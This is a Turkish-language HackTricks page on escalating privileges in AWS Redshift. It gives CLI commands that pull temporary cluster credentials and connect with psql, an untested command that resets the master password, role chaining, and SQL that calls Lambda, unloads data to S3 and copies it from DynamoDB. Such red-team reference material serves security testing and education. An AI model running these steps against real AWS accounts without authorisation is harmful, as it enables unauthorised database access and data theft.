AWS - Redshift Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Redshift

RDS hakkında daha fazla bilgi için bakınız:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Bu izinlerle tüm cluster’ların bilgilerini (isim ve cluster kullanıcı adı dahil) alabilir ve erişim için kimlik bilgilerini elde edebilirsiniz:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Olası Etki: Veritabanları içindeki hassas bilgilerin ortaya çıkarılması.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Bu izinlerle tüm cluster’ların bilgilerini alabilir ve erişim için credentials elde edebilirsiniz.
Dikkat: postgres kullanıcısı, credentials almak için kullanılan IAM identity’nin sahip olduğu permissions ile çalışacaktır.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potential Impact: Veritabanları içinde hassas bilgilerin ele geçirilmesi.

redshift:DescribeClusters, redshift:ModifyCluster?

aws cli’den dahili postgres (redshit) kullanıcısının ana parolasını değiştirmek mümkün (sanırım gereken izinler bunlar ama henüz test etmedim):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Olası Etki: Veritabanları içinde hassas bilgilerin bulunması.

Harici Servislere Erişim

Warning

Aşağıdaki tüm kaynaklara erişmek için kullanılacak rolü belirtmeniz gerekecek. Bir Redshift cluster’ına kullanabileceğiniz bir AWS rollerinin listesi atanmış olabilir eğer ARN’i biliyorsanız veya atanan varsayılanı kullanmak için sadece “default” olarak ayarlayabilirsiniz.

Ayrıca, explained here, Redshift rolleri birbirine eklemeye (concat) de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) daha fazla erişim elde etmek için, ancak bunları sadece ayırarak virgülle belirtmelisiniz: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, Redshift’ten bir Lambda fonksiyonunu çağırmak şu şekilde mümkündür:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html adresinde açıklandığı gibi, S3 buckets içine okuma ve yazma mümkündür:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html adresinde açıklandığı gibi, dynamodb’den veri almak mümkündür:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Warning

Verileri sağlayan Amazon DynamoDB tablosu, Amazon DynamoDB tablosunun bulunduğu AWS Region’ı belirtmek için REGION seçeneğini kullanmadığınız sürece kümenizle aynı AWS Region’da oluşturulmalıdır.

EMR

Bkz. https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin